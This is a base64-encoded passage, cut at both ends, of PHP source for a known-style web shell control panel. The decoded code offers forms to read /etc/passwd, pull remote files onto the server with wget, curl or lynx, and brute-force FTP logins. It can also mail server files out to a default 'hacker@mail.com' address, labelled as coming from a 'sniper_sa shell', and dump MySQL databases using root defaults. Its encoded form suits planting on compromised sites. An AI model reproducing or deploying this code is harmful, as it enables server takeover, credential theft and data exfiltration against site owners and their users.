90ZXh0MyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0ZXN0NF9maWxlJyw5NiwoIWVtcHR5KCRfUE9T VFsndGVzdDRfZmlsZSddKT8oJF9QT1NUWyd0ZXN0NF9maWxlJ10pOigiZGlyIikpKS5pbignaGlkZGVuJy wnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q0Jykud3MoNCkuaW4oJ3N1Ym1pdCcs J3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdG FibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlJiYkdW5peCYmZnVuY3Rpb25fZXhpc3RzKCdtYl9z ZW5kX21haWwnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ1 90ZXh0MTEyJ10sJ2lkMjInKS4kdGFibGVfdXAyLmRpdignaWQyMicpLiR0czsNCmVjaG8gc3IoMTUsIjxi PiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDMwJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q1X2 ZpbGUnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0NV9maWxlJ10pPygkX1BPU1RbJ3Rlc3Q1X2ZpbGUnXSk6 KCIvZXRjL3Bhc3N3ZCIpKSkuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS5pbignaGlkZGVuJywnY21kJy wwLCd0ZXN0NScpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0 dDgnXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0KaWYoJHNhZmVfb W9kZSYmZnVuY3Rpb25fZXhpc3RzKCdpbWFwX2xpc3QnKSl7DQplY2hvICRmcy4kdGFibGVfdXAxLmRpdl9 0aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTEzJ10sJ2lkMjMnKS4kdGFibGVfdXAyLmRpdignaWQyM ycpLiR0czsNCmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjw vYj4iLGluKCd0ZXh0JywndGVzdDZfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q2X2ZpbGUnXSk/K CRfUE9TVFsndGVzdDZfZmlsZSddKTooJGRpcikpKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLmluKCd oaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q2Jykud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skb GFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQp pZigkc2FmZV9tb2RlJiZmdW5jdGlvbl9leGlzdHMoJ2ltYXBfYm9keScpKXsNCmVjaG8gJGZzLiR0YWJsZ V91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTQnXSwnaWQyNCcpLiR0YWJsZV91cDI uZGl2KCdpZDI0JykuJHRzOw0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MzAnX S4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywndGVzdDdfZmlsZScsOTYsKCFlbXB0eSgkX1BPU1RbJ3Rlc3Q
3X2ZpbGUnXSk/KCRfUE9TVFsndGVzdDdfZmlsZSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJ ywnZGlyJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q3Jykud3MoNCkuaW4oJ3N1Ym1pdCc sJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCddKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kd GFibGVfZW5kMS4kZmU7DQp9DQppZigkc2FmZV9tb2RlKQ0Kew0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZ fdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDExNSddLCdpZDI1JykuJHRhYmxlX3VwMi5kaXYoJ2lkM jUnKS4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTYnXS4kYXJyb3c uIjwvYj4iLGluKCd0ZXh0JywndGVzdDhfZmlsZTEnLDk2LCghZW1wdHkoJF9QT1NUWyd0ZXN0OF9maWxlM SddKT8oJF9QT1NUWyd0ZXN0OF9maWxlMSddKTooIi9ldGMvcGFzc3dkIikpKS5pbignaGlkZGVuJywnZGl yJywwLCRkaXIpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ3Rlc3Q4JykpOw0KZWNobyBzcigxNSwiPGI+Ii4kb GFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTE3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3Rlc3Q4X2ZpbGU yJyw5NiwoIWVtcHR5KCRfUE9TVFsndGVzdDhfZmlsZTInXSk/KCRfUE9TVFsndGVzdDhfZmlsZTInXSk6K CRkaXIpKSkud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0OCd dKSk7DQplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQp9DQppZihAaW5pX2dldCgnZmlsZ V91cGxvYWRzJykpew0KZWNobyAiPGZvcm0gbmFtZT11cGxvYWQgbWV0aG9kPVBPU1QgRU5DVFlQRT1tdWx 0aXBhcnQvZm9ybS1kYXRhPiI7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZ S4nX3RleHQ1J10sJ2lkMTQnKS4kdGFibGVfdXAyLmRpdignaWQxNCcpLiR0czsNCmVjaG8gc3IoMTUsIjx iPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYnXS4kYXJyb3cuIjwvYj4iLGluKCdmaWxlJywndXNlcmZpb GUnLDg1LCcnKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQyMSddLiRhcnJ vdy4iPC9iPiIsaW4oJ2NoZWNrYm94JywnbmYxIGlkPW5mMScsMCwnMScpLmluKCd0ZXh0JywnbmV3X25hb WUnLDgyLCcnKS5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQ nLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZ DEuJGZlOw0KfQ0KaWYoISRzYWZlX21vZGUmJiR1bml4KXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3R pdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNSddLCdpZDE1JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTUnK S4kdHM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxNiddLiRhcnJvdy4iPC9 iPiIsIjxzZWxlY3Qgc2l6ZT1cIjFcIiBuYW1lPVwid2l0aFwiPjxvcHRpb24gdmFsdWU9XCJ3Z2V0XCI+d 2dldDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCJmZXRjaFwiPmZldGNoPC9vcHRpb24+PG9wdGlvbiB2YWx 1ZT1cImx5bnhcIj5seW54PC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cImxpbmtzXCI+bGlua3M8L29wdGlvb j48b3B0aW9uIHZhbHVlPVwiY3VybFwiPmN1cmw8L29wdGlvbj48b3B0aW9uIHZhbHVlPVwiR0VUXCI+R0V UPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpLndzKDIpLiI8Yj4iLiRsY W5nWyRsYW5ndWFnZS4nX3RleHQxNyddLiRhcnJvdy4iPC9iPiIuaW4oJ3RleHQnLCdyZW1fZmlsZScsNzg sJ2h0dHA6Ly8nKSk7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhc nJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsMTA1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCd zdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDInXSkpOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhY mxlX2VuZDEuJGZlOw0KfQ0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWd lLidfdGV4dDg2J10sJ2lkMTYnKS4kdGFibGVfdXAyLmRpdignaWQxNicpLiR0czsNCmVjaG8gc3IoMTUsI jxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDU5J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RfbmF tZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZG93bmxvYWRfZmlsZScpLmluKCdoaWRkZW4nL CdkaXInLDAsJGRpcikud3MoNCkuaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19 idXR0MTQnXSkpOw0KJGFyaCA9ICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5MiddOw0KaWYoQGZ1bmN0aW9uX 2V4aXN0cygnZ3pjb21wcmVzcycpKSB7ICRhcmggLj0gaW4oJ3JhZGlvJywnY29tcHJlc3MnLDAsJ3ppcCc pLicgemlwJzsgICB9DQppZihAZnVuY3Rpb25fZXhpc3RzKCdnemVuY29kZScpKSAgIHsgJGFyaCAuPSBpb igncmFkaW8nLCdjb21wcmVzcycsMCwnZ3ppcCcpLicgZ3ppcCc7IH0NCmlmKEBmdW5jdGlvbl9leGlzdHM oJ2J6Y29tcHJlc3MnKSkgeyAkYXJoIC49IGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdiemlwJykuJyBie mlwJzsgfQ0KZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjw vYj4iLGluKCdyYWRpbycsJ2NvbXByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvICR0ZS4nP C9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7DQppZihAZnVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXs NCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkzJ10sJ2lkMTcnK S4kdGFibGVfdXAyLmRpdignaWQxNycpLiR0cy4iPHRyPiIuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD0 1MCU+Ii4kdHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2Vud GVyIGlkPSduJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4NyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQp lY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ 3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk /KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1L CI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHB fbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pO igiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCd dLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3dvcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmd HBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSI
pKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0ODknXS4kYXJyb3cuIjwvY j4iLGluKCd0ZXh0JywnZnRwX2ZpbGUnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfZmlsZSddKT8oJF9QT1N UWydmdHBfZmlsZSddKTooIi9mdHAtZGlyL2ZpbGUiKSkpLmluKCdoaWRkZW4nLCdjbWQnLDAsJ2Z0cF9ma WxlX2Rvd24nKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOCddLiRhcnJ vdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwiPGI+Ii4kb GFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTAnXS4kYXJyb3cuIjwvYj4iLCI8c2VsZWN0IG5hbWU9ZnRwX21vZGU +PG9wdGlvbj5GVFBfQklOQVJZPC9vcHRpb24+PG9wdGlvbj5GVFBfQVNDSUk8L29wdGlvbj48L3NlbGVjd D4iLmluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikpOw0KZWNobyBzcigyNSwiIixpbignc3VibWl0Jywnc3V ibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxNCddKSk7DQplY2hvICR0ZS4iPC90ZD4iLiRmZS4kZ nMuIjx0ZCB2YWxpZ249dG9wIHdpZHRoPTUwJT4iLiR0czsNCmVjaG8gIjxmb250IGZhY2U9dGFob21hIHN pemU9LTI+PGI+PGRpdiBhbGlnbj1jZW50ZXIgaWQ9J24nPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwM CddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3R leHQ4OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDQ1LCghZW1wdHkoJ F9QT1NUWydmdHBfc2VydmVyX3BvcnQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjA uMC4xOjIxIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNyddLiRhc nJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfbG9naW4nLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfbG9naW4 nXSk/KCRfUE9TVFsnZnRwX2xvZ2luJ10pOigiYW5vbnltb3VzIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iL iRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmdHBfcGFzc3d vcmQnLDQ1LCghZW1wdHkoJF9QT1NUWydmdHBfcGFzc3dvcmQnXSk/KCRfUE9TVFsnZnRwX3Bhc3N3b3JkJ 10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwiPGI+Ii4kbGFuZ1skbGFuZ3V hZ2UuJ190ZXh0MTgnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnbG9jX2ZpbGUnLDQ1LCRkaXIpKTsNC mVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDg5J10uJGFycm93LiI8L2I+Iixpbig ndGV4dCcsJ2Z0cF9maWxlJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnRwX2ZpbGUnXSk/KCRfUE9TVFsnZnRwX 2ZpbGUnXSk6KCIvZnRwLWRpci9maWxlIikpKS5pbignaGlkZGVuJywnY21kJywwLCdmdHBfZmlsZV91cCc pKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDkwJ10uJGFycm93LiI8L2I+I iwiPHNlbGVjdCBuYW1lPWZ0cF9tb2RlPjxvcHRpb24+RlRQX0JJTkFSWTwvb3B0aW9uPjxvcHRpb24+RlR QX0FTQ0lJPC9vcHRpb24+PC9zZWxlY3Q+Ii5pbignaGlkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc 3IoMjUsIiIsaW4oJ3N1Ym1pdCcsJ3N1Ym1pdCcsMCwkbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MiddKSk7DQp lY2hvICR0ZS4iPC90ZD4iLiRmZS4iPC90cj48L2Rpdj48L3RhYmxlPiI7DQp9DQppZigkdW5peCAmJiBAZ nVuY3Rpb25fZXhpc3RzKCJmdHBfY29ubmVjdCIpKXsNCmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGx lKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NCddLCdpZDE4JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTgnKS4kd HM7DQplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4OCddLiRhcnJvdy4iPC9iPiI saW4oJ3RleHQnLCdmdHBfc2VydmVyX3BvcnQnLDg1LCghZW1wdHkoJF9QT1NUWydmdHBfc2VydmVyX3Bvc nQnXSk/KCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOigiMTI3LjAuMC4xOjIxIikpKS5pbignaGlkZGV uJywnY21kJywwLCdmdHBfYnJ1dGUnKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsY W5ndWFnZS4nX2J1dHQxJ10pKTsNCmVjaG8gc3IoMTUsIiIsIjxmb250IGZhY2U9dGFob21hIHNpemU9LTI +Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTknXS4iICggPGEgaHJlZj0iLiRfU0VSVkVSWydQSFBfU0VMR iddLiI/dXNlcnM+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTUnXS4iPC9hPiApPC9mb250PiIpOw0KZWN obyBzcigxNSwiIixpbignY2hlY2tib3gnLCdyZXZlcnNlIGlkPXJldmVyc2UnLDAsJzEnKS4kbGFuZ1skb GFuZ3VhZ2UuJ190ZXh0MTAxJ10pOw0KZWNobyAkdGUuJzwvZGl2PicuJHRhYmxlX2VuZDEuJGZlOw0KfQ0 KaWYoQGZ1bmN0aW9uX2V4aXN0cygibWFpbCIpKXsNCmVjaG8gJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhb mdbJGxhbmd1YWdlLidfdGV4dDEwMiddLCdpZDE5JykuJHRhYmxlX3VwMi5kaXYoJ2lkMTknKS4kdHMuIjx 0cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10Y WhvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ19 0ZXh0MTAzJ10uIjwvZGl2PjwvYj48L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1Y WdlLidfdGV4dDEwNSddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1R bJ3RvJ10pPygkX1BPU1RbJ3RvJ10pOigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJ ywwLCdtYWlsJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5 nWyRsYW5ndWFnZS4nX3RleHQxMDYnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZnJvbScsNDUsKCFlb XB0eSgkX1BPU1RbJ2Zyb20nXSk/KCRfUE9TVFsnZnJvbSddKTooImJpbGx5QG1pY3Jvc29mdC5jb20iKSk pKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNyddLiRhcnJvdy4iPC9iP iIsaW4oJ3RleHQnLCdzdWJqJyw0NSwoIWVtcHR5KCRfUE9TVFsnc3ViaiddKT8oJF9QT1NUWydzdWJqJ10 pOigiaGVsbG8gYmlsbHkiKSkpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidf dGV4dDEwOCddLiRhcnJvdy4iPC9iPiIsJzx0ZXh0YXJlYSBuYW1lPXRleHQgY29scz0zMyByb3dzPTI+Jy 4oIWVtcHR5KCRfUE9TVFsndGV4dCddKT8oJF9QT1NUWyd0ZXh0J10pOigibWFpbCB0ZXh0IGhlcmUiKSku JzwvdGV4dGFyZWE+Jyk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJG xhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiRmcy4iPHRkIHZhbGlnbj10 b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YWhvbWEgc2l6ZT0tMj48Yj48ZGl2IG
FsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA0J10uIjwvZGl2PjwvYj48 L2ZvbnQ+IjsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDEwNSddLiRhcnJvdy 4iPC9iPiIsaW4oJ3RleHQnLCd0bycsNDUsKCFlbXB0eSgkX1BPU1RbJ3RvJ10pPygkX1BPU1RbJ3RvJ10p OigiaGFja2VyQG1haWwuY29tIikpKS5pbignaGlkZGVuJywnY21kJywwLCdtYWlsX2ZpbGUnKS5pbignaG lkZGVuJywnZGlyJywwLCRkaXIpKTsNCmVjaG8gc3IoMjUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4 dDEwNiddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdmcm9tJyw0NSwoIWVtcHR5KCRfUE9TVFsnZnJvbS ddKT8oJF9QT1NUWydmcm9tJ10pOigiYmlsbHlAbWljcm9zb2Z0LmNvbSIpKSkpOw0KZWNobyBzcigyNSwi PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MTA3J10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ3N1Ym onLDQ1LCghZW1wdHkoJF9QT1NUWydzdWJqJ10pPygkX1BPU1RbJ3N1YmonXSk6KCJmaWxlIGZyb20gc25p cGVyX3NhIHNoZWxsIikpKSk7DQplY2hvIHNyKDI1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxOC ddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdsb2NfZmlsZScsNDUsJGRpcikpOw0KZWNobyBzcigyNSwi PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0OTEnXS4kYXJyb3cuIjwvYj4iLGluKCdyYWRpbycsJ2NvbX ByZXNzJywwLCdub25lJywxKS4nICcuJGFyaCk7DQplY2hvIHNyKDI1LCIiLGluKCdzdWJtaXQnLCdzdWJt aXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDE1J10pKTsNCmVjaG8gJHRlLiI8L3RkPiIuJGZlLiI8L3 RyPjwvZGl2PjwvdGFibGU+IjsNCn0NCmlmKCRteXNxbF9vbnx8JG1zc3FsX29ufHwkcGdfb258fCRvcmFf b24pDQp7DQokc2VsZWN0ID0gJzxzZWxlY3QgbmFtZT1kYj4nOw0KaWYoJG15c3FsX29uKSAkc2VsZWN0IC 49ICc8b3B0aW9uPk15U1FMPC9vcHRpb24+JzsNCmlmKCRtc3NxbF9vbikgJHNlbGVjdCAuPSAnPG9wdGlv bj5NU1NRTDwvb3B0aW9uPic7DQppZigkcGdfb24pICAgICRzZWxlY3QgLj0gJzxvcHRpb24+UG9zdGdyZV NRTDwvb3B0aW9uPic7DQppZigkb3JhX29uKSAgICRzZWxlY3QgLj0gJzxvcHRpb24+T3JhY2xlPC9vcHRp b24+JzsNCiRzZWxlY3QgLj0gJzwvc2VsZWN0Pic7DQplY2hvICR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW 5nWyRsYW5ndWFnZS4nX3RleHQ4MiddLCdpZDIwJykuJHRhYmxlX3VwMi5kaXYoJ2lkMjAnKS4kdHMuIjx0 cj4iLiRmcy4iPHRkIHZhbGlnbj10b3Agd2lkdGg9NTAlPiIuJHRzOw0KZWNobyAiPGZvbnQgZmFjZT10YW hvbWEgc2l6ZT0tMj48Yj48ZGl2IGFsaWduPWNlbnRlciBpZD0nbic+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190 ZXh0NDAnXS4iPC9kaXY+PC9iPjwvZm9udD4iOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2 UuJ190ZXh0ODAnXS4kYXJyb3cuIjwvYj4iLCRzZWxlY3QpOw0KZWNobyBzcigzNSwiPGI+Ii4kbGFuZ1sk bGFuZ3VhZ2UuJ190ZXh0MTExJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2RiX3NlcnZlcicsMTUsKC FlbXB0eSgkX1BPU1RbJ2RiX3NlcnZlciddKT8oJF9QT1NUWydkYl9zZXJ2ZXInXSk6KCJsb2NhbGhvc3Qi KSkpLicgPGI+OjwvYj4gJy5pbigndGV4dCcsJ2RiX3BvcnQnLDE1LCghZW1wdHkoJF9QT1NUWydkYl9wb3 J0J10pPygkX1BPU1RbJ2RiX3BvcnQnXSk6KCIzMzA2IikpKSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5n WyRsYW5ndWFnZS4nX3RleHQzNyddLicgOiAnLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzOCddLiRhcnJvdy 4iPC9iPiIsaW4oJ3RleHQnLCdteXNxbF9sJywxNSwoIWVtcHR5KCRfUE9TVFsnbXlzcWxfbCddKT8oJF9Q T1NUWydteXNxbF9sJ10pOigicm9vdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnbXlzcWxfcCcsMT UsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3AnXSk/KCRfUE9TVFsnbXlzcWxfcCddKTooInBhc3N3b3JkIikp KSk7DQplY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzNiddLiRhcnJvdy4iPC9iPi IsaW4oJ3RleHQnLCdteXNxbF9kYicsMTUsKCFlbXB0eSgkX1BPU1RbJ215c3FsX2RiJ10pPygkX1BPU1Rb J215c3FsX2RiJ10pOigibXlzcWwiKSkpLicgPGI+LjwvYj4gJy5pbigndGV4dCcsJ215c3FsX3RibCcsMT UsKCFlbXB0eSgkX1BPU1RbJ215c3FsX3RibCddKT8oJF9QT1NUWydteXNxbF90YmwnXSk6KCJ1c2VyIikp KSk7DQplY2hvIHNyKDM1LGluKCdoaWRkZW4nLCdkaXInLDAsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMC wnbXlzcWxfZHVtcCcpLiI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ0MSddLiRhcnJvdy4iPC9iPiIs aW4oJ2NoZWNrYm94JywnZGlmIGlkPWRpZicsMCwnMScpLmluKCd0ZXh0JywnZGlmX25hbWUnLDMxLCghZW 1wdHkoJF9QT1NUWydkaWZfbmFtZSddKT8oJF9QT1NUWydkaWZfbmFtZSddKTooImR1bXAuc3FsIikpKSk7 DQplY2hvIHNyKDM1LCIiLGluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dD knXSkpOw0KZWNobyAkdGUuIjwvdGQ+Ii4kZmUuJGZzLiI8dGQgdmFsaWduPXRvcCB3aWR0aD01MCU+Ii4k dHM7DQplY2hvICI8Zm9udCBmYWNlPXRhaG9tYSBzaXplPS0yPjxiPjxkaXYgYWxpZ249Y2VudGVyIGlkPS duJz4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MyddLiI8L2Rpdj48L2I+PC9mb250PiI7DQplY2hvIHNy KDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ4MCddLiRhcnJvdy4iPC9iPiIsJHNlbGVjdCk7DQ plY2hvIHNyKDM1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMTEnXS4kYXJyb3cuIjwvYj4iLGlu KCd0ZXh0JywnZGJfc2VydmVyJywxNSwoIWVtcHR5KCRfUE9TVFsnZGJfc2VydmVyJ10pPygkX1BPU1RbJ2 RiX3NlcnZlciddKTooImxvY2FsaG9zdCIpKSkuJyA8Yj46PC9iPiAnLmluKCd0ZXh0JywnZGJfcG9ydCcs 